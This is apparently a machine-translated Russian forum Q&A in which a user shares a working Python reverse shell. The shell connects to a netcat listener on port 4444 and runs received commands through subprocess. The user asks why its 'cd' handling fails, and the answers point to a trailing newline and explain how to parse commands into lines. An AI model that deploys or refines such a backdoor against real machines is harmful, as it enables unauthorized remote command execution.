Я не могу изменить каталог с помощью кодера обратной оболочки (tcp ip) в python
Я попытался закодировать обратную оболочку в python (reverse tcp ip) с помощью netcat, и я не могу изменить каталог с помощью модуля os.chdir (), вот мой код:
import socket
import subprocess
import os
host = 'localhost'
port = 4444
s = socket.socket()
s.connect((host,port))
while True:
directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
else:
comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
out,x = comm.communicate()
s.send(out)
Я продолжаю, слушая порт 4444 с помощью netcat, выполнив: nc -lvp 4444 И при запуске моего scrypt возникает ошибка:
file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123]
A syntax of file name, directory, or volume is incorrect
'C:\\Users\\Isabelle\\Desktop\\dossier\n'
2 ответа
Проблема связана с именем файла: C:\\Users\\Isabelle\\Desktop\\dossier\n
где \n
перевод строки (LF). Результатом является неверный путь.
Вы включаете разделитель строк в конце команды в название каталога, на который вы меняете. Вы можете решить это путем rstrip
отключив разделитель строк, но вы, скорее всего, столкнетесь с проблемами в будущем, если вы воспользуетесь этим подходом.
Вы получаете необработанные блоки данных, которые могут содержать несколько строк. Нет гарантии data
содержит одну команду или даже целую команду. Должна быть обработка, чтобы разбить ввод на строки, и если data
заканчивается в середине строки, чтобы соединить ее с первой строкой следующей recv
,